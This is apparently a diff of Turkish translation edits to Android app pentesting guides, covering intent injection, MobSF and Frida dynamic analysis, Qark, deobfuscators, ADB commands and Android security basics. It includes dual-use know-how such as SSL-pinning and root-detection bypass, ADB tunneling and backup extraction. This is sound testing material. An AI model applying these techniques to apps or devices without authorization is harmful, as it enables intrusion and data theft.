Tehlike, saldırganların bu Intents'leri yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; `Intent.parseUri(...)` aracılığıyla bunları işleyip çalıştırabilir, bu da kötü niyetli Intent enjeksiyonlarına yol açabilir. Tehlike, saldırganların bu Intents'i yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; bu, potansiyel olarak kötü niyetli Intent enjeksiyonlarına yol açabilir.
### Temel Çıkarımlar ### Temel Çıkarımlar
- **Intent Enjeksiyonu**, webin Açık Yönlendirme sorununa benzer. - **Intent Enjeksiyonu**, webin Açık Yönlendirme sorununa benzer.
- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu da güvensiz işlemleri gerçekleştirmek için yönlendirilebilir. - Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri yürütmek için yönlendirilebilir.
- Dışa aktarılmamış bileşenleri ve içerik sağlayıcılarını saldırganlara açabilir. - Dışa aktarılmamış bileşenleri ve içerik sağlayıcılarını saldırganlara açabilir.
- `WebView`in URL'den `Intent` dönüşümü, istenmeyen eylemleri kolaylaştırabilir. - `WebView`in URL'den `Intent` dönüşümü, istenmeyen eylemleri kolaylaştırabilir.
### Android İstemci Tarafı Enjeksiyonları ve Diğerleri ### Android İstemci Tarafı Enjeksiyonları ve Diğerleri
Bu tür zafiyetler hakkında Web'den haberdar olmalısınız. Bir Android uygulamasında bu zafiyetlere karşı özellikle dikkatli olmalısınız: Bu tür güvenlik açıkları hakkında Web'den bilgi sahibi olmalısınız. Bir Android uygulamasında bu güvenlik açıklarına özellikle dikkat etmelisiniz:
- **SQL Enjeksiyonu:** Dinamik sorgular veya İçerik Sağlayıcılarla çalışırken, parametreli sorgular kullandığınızdan emin olun. - **SQL Enjeksiyonu:** Dinamik sorgular veya İçerik Sağlayıcılarla çalışırken, parametreli sorgular kullandığınızdan emin olun.
- **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışıdır). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). - **JavaScript Enjeksiyonu (XSS):** Herhangi bir WebView için JavaScript ve Eklenti desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışıdır). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
@ -527,7 +527,7 @@ MobSF ayrıca **diff/Compare** analizine ve **VirusTotal** entegrasyonuna izin v
### MobSF ile Yardımlı Dinamik Analiz ### MobSF ile Yardımlı Dinamik Analiz
**MobSF**, **Android** için **dinamik analiz** konusunda da çok yardımcı olabilir, ancak bu durumda MobSF ve **genymotion**'ı ana bilgisayarınıza kurmanız gerekecek (bir VM veya Docker çalışmayacaktır). _Not: Öncelikle **genymotion'da bir VM başlatmalısınız** ve **sonra MobSF'yi başlatmalısınız.**_\ **MobSF**, **Android** için **dinamik analiz** konusunda da çok yardımcı olabilir, ancak bu durumda MobSF ve **genymotion**'ı ana bilgisayarınıza kurmanız gerekecek (bir VM veya Docker çalışmaz). _Not: Öncelikle **genymotion'da bir VM başlatmalısınız** ve **sonra MobSF'yi başlatmalısınız.**_\
**MobSF dinamik analizörü** şunları yapabilir: **MobSF dinamik analizörü** şunları yapabilir:
- **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini almak için "**Exported Activity Tester**" butonuna basmanız gerekir. - **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin yaptığınız ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri için istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini almak için "**Exported Activity Tester**" butonuna basmanız gerekir.
@ -538,7 +538,7 @@ Android **sürümleri > 5**'ten itibaren, **Frida**'yı **otomatik olarak başla
**Frida** **Frida**
Varsayılan olarak, **SSL pinning**, **root tespiti** ve **hata ayıklayıcı tespiti** atlamak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\ Varsayılan olarak, **SSL pinning**'i **bypass** etmek, **root tespiti** ve **debugger tespiti** yapmak ve **ilginç API'leri** izlemek için bazı Frida Script'lerini de kullanacaktır.\
MobSF ayrıca **dışa aktarılan etkinlikleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**. MobSF ayrıca **dışa aktarılan etkinlikleri** çağırabilir, bunların **ekran görüntülerini** alabilir ve rapor için **kaydedebilir**.
Dinamik testi **başlatmak** için yeşil butona basın: "**Start Instrumentation**". Frida script'leri tarafından üretilen günlükleri görmek için "**Frida Live Logs**" butonuna basın ve bağlı yöntemlere yapılan tüm çağrıları, geçirilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" butonuna basın (bu, "Start Instrumentation" butonuna bastıktan sonra görünecektir).\ Dinamik testi **başlatmak** için yeşil butona basın: "**Start Instrumentation**". Frida script'leri tarafından üretilen günlükleri görmek için "**Frida Live Logs**" butonuna basın ve bağlı yöntemlere yapılan tüm çağrıları, geçirilen argümanları ve döndürülen değerleri görmek için "**Live API Monitor**" butonuna basın (bu, "Start Instrumentation" butonuna bastıktan sonra görünecektir).\
@ -573,7 +573,7 @@ receivers
HTTP trafiği yakalandığında, "**HTTP(S) Trafiği**" altında yakalanan trafiğin çirkin bir görünümünü veya "**HTTP Araçlarını Başlat**" yeşil butonunda daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\ HTTP trafiği yakalandığında, "**HTTP(S) Trafiği**" altında yakalanan trafiğin çirkin bir görünümünü veya "**HTTP Araçlarını Başlat**" yeşil butonunda daha güzel bir görünümünü görebilirsiniz. İkinci seçenekten, **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxy'lere** **gönderebilirsiniz**.\
Bunu yapmak için, _Burp'ıın -->_ _Intercept'i kapatın --> MobSB HTTP Araçları'nda isteği seçin_ --> "**Fuzzer'a Gönder**" butonuna basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). Bunu yapmak için, _Burp'ıın -->_ _Intercept'i kapatın --> MobSB HTTP Araçları'nda isteği seçin_ --> "**Fuzzer'a Gönder**" butonuna basın --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
MobSF ile dinamik analizi tamamladıktan sonra, **http isteklerini fuzz** etmek ve güvenlik açıklarını aramak için "**Web API Fuzzer'ı Başlat**" butonuna basabilirsiniz. MobSF ile dinamik analizi tamamladıktan sonra, **http isteklerini fuzzlamak** ve güvenlik açıklarını aramak için "**Web API Fuzzer'ı Başlat**" butonuna basabilirsiniz.
> [!NOTE] > [!NOTE]
> MobSF ile dinamik bir analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için: > MobSF ile dinamik bir analiz gerçekleştirdikten sonra proxy ayarları yanlış yapılandırılmış olabilir ve bunları GUI'den düzeltemezsiniz. Proxy ayarlarını düzeltmek için:
@ -595,7 +595,7 @@ Bu, **GUI ile statik analiz gerçekleştirmek için harika bir araçtır.**
### [Qark](https://github.com/linkedin/qark) ### [Qark](https://github.com/linkedin/qark)
Bu araç, **kaynak kodunda** veya **paketlenmiş APK'larda** çeşitli **güvenlik ile ilgili Android uygulama açıklarını** aramak için tasarlanmıştır. Araç ayrıca, bulunan bazı güvenlik açıklarını (Açık aktiviteler, intentler, tapjacking...) istismar etmek için **"Proof-of-Concept" dağıtılabilir APK** ve **ADB komutları** oluşturma yeteneğine de sahiptir. Drozer ile olduğu gibi, test cihazını root etmenize gerek yoktur. Bu araç, **kaynak kodunda** veya **paketlenmiş APK'larda** çeşitli **güvenlik ile ilgili Android uygulama açıklarını** aramak için tasarlanmıştır. Araç ayrıca, bulunan bazı güvenlik açıklarını (Açık aktiviteler, intentler, tapjacking...) istismar etmek için **"Proof-of-Concept" dağıtılabilir APK** ve **ADB komutları** oluşturma yeteneğine de sahiptir. Drozer ile olduğu gibi, test cihazını rootlamaya gerek yoktur.
```bash ```bash
pip3 install --user qark # --user is only needed if not using a virtualenv pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk qark --apk path/to/my.apk
@ -631,7 +631,7 @@ StaCoAn, mobil uygulamalar üzerinde [statik kod analizi](https://en.wikipedia.o
Kavram, mobil uygulama dosyanızı (bir .apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakmanız ve bunun için görsel ve taşınabilir bir rapor oluşturmasıdır. Özelleştirilmiş bir deneyim elde etmek için ayarları ve kelime listelerini değiştirebilirsiniz. Kavram, mobil uygulama dosyanızı (bir .apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakmanız ve bunun için görsel ve taşınabilir bir rapor oluşturmasıdır. Özelleştirilmiş bir deneyim elde etmek için ayarları ve kelime listelerini değiştirebilirsiniz.
[En son sürümü](https://github.com/vincentcox/StaCoAn/releases) indirin: [son sürümü](https://github.com/vincentcox/StaCoAn/releases) indirin:
``` ```
./stacoan ./stacoan
``` ```
@ -680,7 +680,7 @@ Kodu obfuscate etmek için kullandığınız hizmet ve yapılandırmaya bağlı
[Wikipedia'dan](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**, Java kodunu küçülten, optimize eden ve obfuscate eden açık kaynaklı bir komut satırı aracıdır. Bytecode'u optimize etmenin yanı sıra kullanılmayan talimatları tespit edip kaldırabilir. ProGuard, ücretsiz bir yazılımdır ve GNU Genel Kamu Lisansı, sürüm 2 altında dağıtılmaktadır. [Wikipedia'dan](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**, Java kodunu küçülten, optimize eden ve obfuscate eden açık kaynaklı bir komut satırı aracıdır. Bytecode'u optimize etmenin yanı sıra kullanılmayan talimatları tespit edip kaldırabilir. ProGuard, ücretsiz bir yazılımdır ve GNU Genel Kamu Lisansı, sürüm 2 altında dağıtılmaktadır.
ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulama yayın modunda oluşturulurken çalışır. ProGuard, Android SDK'nın bir parçası olarak dağıtılır ve uygulama yayın modunda derlenirken çalışır.
### [DexGuard](https://www.guardsquare.com/dexguard) ### [DexGuard](https://www.guardsquare.com/dexguard)
@ -689,9 +689,9 @@ APK'yı deşifre etmek için adım adım bir kılavuzu [https://blog.lexfo.fr/de
(Bu kılavuzdan) Son kontrol ettiğimizde, Dexguard çalışma modu şuydu: (Bu kılavuzdan) Son kontrol ettiğimizde, Dexguard çalışma modu şuydu:
- Bir kaynağı InputStream olarak yüklemek; - Bir kaynağı InputStream olarak yüklemek;
- Sonucu deşifre etmek için FilterInputStream'den türetilen bir sınıfa beslemek; - Sonucu deşifre etmek için FilterInputStream'den türetilmiş bir sınıfa beslemek;
- Bir ters mühendislik uzmanının birkaç dakikasını boşa harcamak için gereksiz obfuscation yapmak; - Bir tersine mühendislik uzmanının birkaç dakikasını boşa harcamak için gereksiz obfuscation yapmak;
- Deşifre edilmiş sonucu bir ZipInputStream'e besleyerek bir DEX dosyası almak; - Deşifre edilmiş sonucu bir ZipInputStream'e beslemek ve bir DEX dosyası almak;
- Son olarak, elde edilen DEX'i `loadDex` yöntemi kullanarak bir Kaynak olarak yüklemek. - Son olarak, elde edilen DEX'i `loadDex` yöntemi kullanarak bir Kaynak olarak yüklemek.
### [DeGuard](http://apk-deguard.com) ### [DeGuard](http://apk-deguard.com)
@ -706,21 +706,21 @@ Bu, Android uygulamalarındaki potansiyel güvenlik açıklarını bulmak ve And
### [Simplify](https://github.com/CalebFenton/simplify) ### [Simplify](https://github.com/CalebFenton/simplify)
Bu, **genel bir android deobfuscator'dır.** Simplify, bir uygulamayı **sanallaştırarak çalıştırır** ve davranışını anlamaya çalışır, ardından **kodun optimize edilmesini** sağlar, böylece aynı şekilde davranır ancak bir insanın anlaması daha kolaydır. Her optimizasyon türü basit ve genel olduğundan, kullanılan obfuscation türü önemli değildir. Bu, **genel bir android deşifre edicisidir.** Simplify, bir uygulamayı **sanallaştırarak çalıştırır** ve davranışını anlamaya çalışır, ardından **kodun optimize edilmesini** sağlar, böylece aynı şekilde davranır ancak bir insanın anlaması daha kolaydır. Her optimizasyon türü basit ve genel olduğundan, kullanılan obfuscation türü önemli değildir.
### [APKiD](https://github.com/rednaga/APKiD) ### [APKiD](https://github.com/rednaga/APKiD)
APKiD, **bir APK'nın nasıl yapıldığını** size bilgi verir. Birçok **derleyici**, **paketleyici**, **obfuscator** ve diğer garip şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir. APKiD, **bir APK'nın nasıl yapıldığını** size bildirir. Birçok **derleyici**, **paketleyici**, **obfuscator** ve diğer garip şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir.
### Manual ### Manual
[Özel obfuscation'ı nasıl tersine çevireceğinizi öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md) [Özel obfuscation'ı nasıl tersine mühendislik yapacağınızı öğrenmek için bu eğitimi okuyun](manual-deobfuscation.md)
## Labs ## Labs
### [Androl4b](https://github.com/sh4hin/Androl4b) ### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b, ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir ve ters mühendislik ve kötü amaçlı yazılım analizi için farklı güvenlik uzmanları ve araştırmacılardan en son çerçeve, eğitimler ve laboratuvarlar koleksiyonunu içerir. AndroL4b, ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir ve ters mühendislik ve kötü amaçlı yazılım analizi için farklı güvenlik uzmanları ve araştırmacılardan en son çerçeve, eğitim ve laboratuvar koleksiyonunu içerir.
## References ## References

View File

@ -22,7 +22,7 @@ O IP'ye ve o Port'a bağlanın:
``` ```
adb connect <IP>:<PORT> adb connect <IP>:<PORT>
``` ```
Eğer aşağıdaki gibi bir hata alırsanız, bir Sanal Android yazılımında (örneğin Genymotion): Eğer Virtual Android yazılımında (örneğin Genymotion) aşağıdaki gibi bir hata alırsanız:
``` ```
adb server version (41) doesn't match this client (36); killing... adb server version (41) doesn't match this client (36); killing...
``` ```
@ -30,7 +30,7 @@ Farklı bir sürümle ADB sunucusuna bağlanmaya çalıştığınız için. Yaz
## Birden fazla cihaz ## Birden fazla cihaz
**Makinenize bağlı birkaç cihaz bulduğunuzda**, adb komutunu **hangi cihazda çalıştırmak istediğinizi belirtmeniz** gerekecektir. **Makinenize bağlı birkaç cihaz bulduğunuzda** hangi cihazda adb komutunu çalıştırmak istediğinizi **belirtmeniz gerekecek**.
```bash ```bash
adb devices adb devices
List of devices attached List of devices attached
@ -45,7 +45,7 @@ root
``` ```
## Port Tunneling ## Port Tunneling
Eğer **adb** **portu** android cihazda sadece **localhost** üzerinden **erişilebilir** ise ama **SSH üzerinden erişiminiz varsa**, **port 5555'i yönlendirebilir** ve adb üzerinden bağlanabilirsiniz: Eğer **adb** **portu** yalnızca android cihazda **localhost** üzerinden **erişilebilir** ise ama **SSH üzerinden erişiminiz varsa**, **port 5555'i yönlendirebilir** ve adb üzerinden bağlanabilirsiniz:
```bash ```bash
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222 ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
adb connect 127.0.0.1:5555 adb connect 127.0.0.1:5555
@ -122,7 +122,7 @@ adb pull /sdcard/demo.mp4 ./
``` ```
### adb push \<local> \<remote> ### adb push \<local> \<remote>
Bilgisayarınızdaki belirli bir dosyayı bir emülatöre/cihaza yükleyin. Belirtilen bir dosyayı bilgisayarınızdan bir emülatöre/cihaza yükleyin.
```bash ```bash
adb push test.apk /sdcard adb push test.apk /sdcard
``` ```
@ -145,7 +145,7 @@ adb shell screenrecord --time-limit <TIME> #Sets the maximum recording time, in
adb shell screenrecord --rotate # Rotates 90 degrees adb shell screenrecord --rotate # Rotates 90 degrees
adb shell screenrecord --verbose adb shell screenrecord --verbose
``` ```
( kayıt işlemini durdurmak için Ctrl-C'ye basın ) (press Ctrl-C to stop recording)
**Dosyaları (görüntüler ve videolar) **_**adb pull**_ kullanarak indirebilirsiniz** **Dosyaları (görüntüler ve videolar) **_**adb pull**_ kullanarak indirebilirsiniz**
@ -176,7 +176,7 @@ input [text|keyevent] #Send keystrokes to device
``` ```
# İşlemler # İşlemler
Uygulamanızın işleminin PID'sini almak istiyorsanız, şunu çalıştırabilirsiniz: Uygulamanızın işlem PID'sini almak istiyorsanız, şunu çalıştırabilirsiniz:
```bash ```bash
adb shell ps adb shell ps
``` ```
@ -202,7 +202,7 @@ Android update.zip paketlerini **flash** etmek/geri yüklemek.
## Logcat ## Logcat
**Sadece bir uygulamanın mesajlarını filtrelemek için**, uygulamanın PID'sini alın ve logcat çıktısını filtrelemek için grep (linux/macos) veya findstr (windows) kullanın: Sadece bir uygulamanın mesajlarını **filtrelemek için**, uygulamanın PID'sini alın ve logcat çıktısını filtrelemek için grep (linux/macos) veya findstr (windows) kullanın:
```bash ```bash
adb logcat | grep 4526 adb logcat | grep 4526
adb logcat | findstr 4526 adb logcat | findstr 4526
@ -281,7 +281,7 @@ adb shell pm list packages -f -3 #List packages
adb backup -f myapp_backup.ab -apk com.myapp # backup on one device adb backup -f myapp_backup.ab -apk com.myapp # backup on one device
adb restore myapp_backup.ab # restore to the same or any other device adb restore myapp_backup.ab # restore to the same or any other device
``` ```
Yedeklemenin içeriğini incelemek istiyorsanız: Yedek içeriğini incelemek istiyorsanız:
```bash ```bash
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz - ( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
``` ```

View File

@ -15,18 +15,18 @@
### UID Paylaşımı ### UID Paylaşımı
**İki uygulama aynı UID'yi kullanacak şekilde yapılandırılabilir**. Bu, bilgi paylaşmak için yararlı olabilir, ancak bunlardan biri tehlikeye girerse, her iki uygulamanın verileri de tehlikeye girecektir. Bu nedenle bu davranış **kaçınılması gereken bir durumdur**.\ **İki uygulama aynı UID'yi kullanacak şekilde yapılandırılabilir**. Bu, bilgi paylaşmak için yararlı olabilir, ancak bunlardan biri tehlikeye girerse, her iki uygulamanın verileri de tehlikeye girecektir. Bu nedenle bu davranış **tavsiye edilmez**.\
**Aynı UID'yi paylaşmak için, uygulamalar manifestolarında aynı `android:sharedUserId` değerini tanımlamalıdır.** **Aynı UID'yi paylaşmak için, uygulamalar manifestolarında aynı `android:sharedUserId` değerini tanımlamalıdır.**
### Sandbox ### Sandbox
**Android Uygulama Sandbox'ı**, **her uygulamayı** **ayrı bir kullanıcı kimliği altında ayrı bir işlem olarak çalıştırmaya** olanak tanır. Her işlem kendi sanal makinesine sahiptir, bu nedenle bir uygulamanın kodu diğer uygulamalardan izole bir şekilde çalışır.\ **Android Uygulama Sandbox'ı**, **her uygulamayı** **ayrı bir kullanıcı kimliği altında ayrı bir işlem olarak çalıştırmaya** olanak tanır. Her işlemin kendi sanal makinesi vardır, bu nedenle bir uygulamanın kodu diğer uygulamalardan izole bir şekilde çalışır.\
Android 5.0(L) itibarıyla **SELinux** uygulanmaktadır. Temelde, SELinux tüm işlem etkileşimlerini reddetti ve ardından **aralarındaki beklenen etkileşimleri yalnızca izin veren politikalar oluşturdu**. Android 5.0(L) itibarıyla **SELinux** uygulanmaktadır. Temelde, SELinux tüm işlem etkileşimlerini reddetti ve ardından **aralarındaki beklenen etkileşimleri yalnızca izin veren politikalar oluşturdu**.
### İzinler ### İzinler
Bir **uygulama yüklediğinizde ve izinler istiyorsa**, uygulama **AndroidManifest.xml** dosyasındaki **`uses-permission`** öğelerinde yapılandırılan izinleri istemektedir. **uses-permission** öğesi, istenen iznin adını **name** **özniteliği içinde belirtir.** Ayrıca, belirtilen sürümden daha yüksek sürümlerde izin istemeyi durduran **maxSdkVersion** özniteliğine de sahiptir.\ Bir **uygulama yüklediğinizde ve izinler istediğinde**, uygulama **AndroidManifest.xml** dosyasındaki **`uses-permission`** öğelerinde yapılandırılan izinleri istemektedir. **uses-permission** öğesi, istenen iznin adını **name** **özniteliği içinde belirtir.** Ayrıca, belirtilen sürümden daha yüksek sürümlerde izin istemeyi durduran **maxSdkVersion** özniteliğine de sahiptir.\
Android uygulamalarının başlangıçta tüm izinleri istemesi gerekmediğini, dinamik olarak da **izin isteyebileceğini** ancak tüm izinlerin **manifestoda beyan edilmesi gerektiğini** unutmayın. Android uygulamalarının başlangıçta tüm izinleri istemesi gerekmediğini, dinamik olarak da **izin isteyebileceğini** ancak tüm izinlerin **manifestoda** **beyan edilmesi gerektiğini** unutmayın.
Bir uygulama işlevsellik açığa çıkardığında, **yalnızca belirli bir izne sahip uygulamalara erişimi sınırlayabilir**.\ Bir uygulama işlevsellik açığa çıkardığında, **yalnızca belirli bir izne sahip uygulamalara erişimi sınırlayabilir**.\
Bir izin öğesinin üç özniteliği vardır: Bir izin öğesinin üç özniteliği vardır:
@ -49,7 +49,7 @@ Bu uygulamalar genellikle **`/system/app`** veya **`/system/priv-app`** dizinler
## Rootlama ## Rootlama
Bir fiziksel android cihazda root erişimi elde etmek için genellikle **1 veya 2 güvenlik açığını istismar etmeniz** gerekir; buılar genellikle **cihaz** ve **sürüm** için **özeldir**.\ Bir fiziksel android cihazda root erişimi elde etmek için genellikle **1 veya 2 güvenlik açığını** **istismar etmeniz** gerekir; bu genellikle **cihaz** ve **sürüm** için **özgü** olur.\
İstismar çalıştığında, genellikle Linux `su` ikili dosyası, kullanıcının PATH ortam değişkeninde belirtilen bir konuma kopyalanır, örneğin `/system/xbin`. İstismar çalıştığında, genellikle Linux `su` ikili dosyası, kullanıcının PATH ortam değişkeninde belirtilen bir konuma kopyalanır, örneğin `/system/xbin`.
Su ikili dosyası yapılandırıldıktan sonra, `su` ikili dosyası ile etkileşimde bulunmak ve **root erişim taleplerini işlemek için** başka bir Android uygulaması kullanılır, örneğin **Superuser** ve **SuperSU** (Google Play mağazasında mevcuttur). Su ikili dosyası yapılandırıldıktan sonra, `su` ikili dosyası ile etkileşimde bulunmak ve **root erişim taleplerini işlemek için** başka bir Android uygulaması kullanılır, örneğin **Superuser** ve **SuperSU** (Google Play mağazasında mevcuttur).
@ -62,7 +62,7 @@ Su ikili dosyası yapılandırıldıktan sonra, `su` ikili dosyası ile etkileş
**Özel bir yazılım yükleyerek işletim sistemini değiştirmek mümkündür**. Bunu yaparak, eski bir cihazın kullanımını uzatmak, yazılım kısıtlamalarını aşmak veya en son Android koduna erişmek mümkündür.\ **Özel bir yazılım yükleyerek işletim sistemini değiştirmek mümkündür**. Bunu yaparak, eski bir cihazın kullanımını uzatmak, yazılım kısıtlamalarını aşmak veya en son Android koduna erişmek mümkündür.\
**OmniROM** ve **LineageOS**, kullanılacak en popüler yazılımlardan ikisidir. **OmniROM** ve **LineageOS**, kullanılacak en popüler yazılımlardan ikisidir.
**Cihazı rootlamak her zaman gerekli değildir**; bazı **üreticiler**, bootloader'larının iyi belgelenmiş ve güvenli bir şekilde kilidini açılmasına izin verir. **Cihazı rootlamanın her zaman gerekli olmadığını** unutmayın; **bazı üreticiler**, bootloader'larının iyi belgelenmiş ve güvenli bir şekilde kilidini açılmasına izin verir.
### Sonuçlar ### Sonuçlar
@ -85,7 +85,7 @@ Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim talep ede
- `armeabi`: ARM tabanlı işlemciler için kod - `armeabi`: ARM tabanlı işlemciler için kod
- `armeabi-v7a`: ARMv7 ve daha yüksek tabanlı işlemciler için kod - `armeabi-v7a`: ARMv7 ve daha yüksek tabanlı işlemciler için kod
- `x86`: X86 işlemciler için kod - `x86`: X86 işlemciler için kod
- `mips`: yalnızca MIPS işlemcileri için kod - `mips`: yalnızca MIPS işlemciler için kod
- assets/ - assets/
- Uygulamanın ihtiyaç duyduğu çeşitli dosyaları depolar, potansiyel olarak ek yerel kütüphaneler veya DEX dosyaları içerebilir; bazen kötü amaçlı yazılım yazarları tarafından ek kodu gizlemek için kullanılır. - Uygulamanın ihtiyaç duyduğu çeşitli dosyaları depolar, potansiyel olarak ek yerel kütüphaneler veya DEX dosyaları içerebilir; bazen kötü amaçlı yazılım yazarları tarafından ek kodu gizlemek için kullanılır.
- res/ - res/
@ -118,9 +118,9 @@ Eğer savunmasızsa, **Niyetler çeşitli saldırılar gerçekleştirmek için k
Niyet Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verilerin dahil edilmesi mümkündür. Bu yapı, bileşenlerin beyan edilen kriterlerle eşleşen belirli Niyetleri işleyebilmesine olanak tanır. Niyet Filtreleri, kategoriler, eylemler ve veri filtrelerinden oluşur ve ek meta verilerin dahil edilmesi mümkündür. Bu yapı, bileşenlerin beyan edilen kriterlerle eşleşen belirli Niyetleri işleyebilmesine olanak tanır.
Android bileşenlerinin (aktivite/hizmet/içerik sağlayıcıları/yayın alıcıları) kritik bir yönü, görünürlükleri veya **kamusal durumlarıdır**. Bir bileşen, **`exported`** değeri **`true`** olarak ayarlandığında kamuya açık kabul edilir ve diğer uygulamalarla etkileşimde bulunabilir. Ancak, geliştiricilerin bu bileşenleri özel tutmak için açık bir şekilde ayarlama seçeneği vardır; bu, diğer uygulamalarla istemeden etkileşimde bulunmamalarını sağlamak için **`exported`** özniteliğini **`false`** olarak ayarlamakla gerçekleştirilir. Android bileşenlerinin (aktivite/hizmet/içerik sağlayıcıları/yayın alıcıları) kritik bir yönü, görünürlükleri veya **kamusal durumlarıdır**. Bir bileşen, **`exported`** değeri **`true`** olarak ayarlandığında kamuya açık kabul edilir ve diğer uygulamalarla etkileşimde bulunabilir. Ancak, geliştiricilerin bu bileşenleri özel tutarak, diğer uygulamalarla istemeden etkileşimde bulunmamalarını sağlamak için bir yolu vardır. Bu, **`exported`** özniteliğini manifest tanımlarında **`false`** olarak ayarlayarak gerçekleştirilir.
Ayrıca, geliştiricilerin bu bileşenlere erişimi daha da güvence altına almak için belirli izinler talep etme seçeneği vardır. **`permission`** özniteliği, yalnızca belirlenen izne sahip uygulamaların bileşene erişebileceğini zorunlu kılacak şekilde ayarlanabilir ve bu da kimlerin etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı ekler. Ayrıca, geliştiricilerin bu bileşenlere erişimi daha da güvence altına almak için belirli izinler talep etme seçeneği vardır. **`permission`** özniteliği, yalnızca belirlenen izne sahip uygulamaların bileşene erişebilmesini sağlamak için ayarlanabilir ve bu da kimlerin etkileşimde bulunabileceği üzerinde ek bir güvenlik ve kontrol katmanı ekler.
```java ```java
<activity android:name=".MyActivity" android:exported="false"> <activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here --> <!-- Intent filters go here -->
@ -128,13 +128,13 @@ Ayrıca, geliştiricilerin bu bileşenlere erişimi daha da güvence altına alm
``` ```
### İkincil Niyetler ### İkincil Niyetler
Niyetler, bir Niyet yapıcısı kullanılarak programatik olarak oluşturulur: Niyetler, bir Niyet yapıcı kullanılarak programatik olarak oluşturulur:
```java ```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
``` ```
**Daha önce tanımlanan** intentin **Eylemi** **ACTION_SEND** ve **Ek** bir mailto **Uri**'dir (Ek, intentin beklediği ek bilgidir). **Daha önce tanımlanan** intentin **Eylemi** **ACTION_SEND** ve **Ek** bir mailto **Uri**'dir (Ek, intentin beklediği ek bilgidir).
Bu intent, aşağıdaki örnekte olduğu gibi manifest içinde tanımlanmalıdır: Bu intent, manifest içinde aşağıdaki örnekte olduğu gibi tanımlanmalıdır:
```xml ```xml
<activity android:name="ShareActivity"> <activity android:name="ShareActivity">
<intent-filter> <intent-filter>
@ -145,7 +145,7 @@ Bu intent, aşağıdaki örnekte olduğu gibi manifest içinde tanımlanmalıdı
``` ```
Bir intent-filter'ın bir mesajı alabilmesi için **action**, **data** ve **category** ile eşleşmesi gerekir. Bir intent-filter'ın bir mesajı alabilmesi için **action**, **data** ve **category** ile eşleşmesi gerekir.
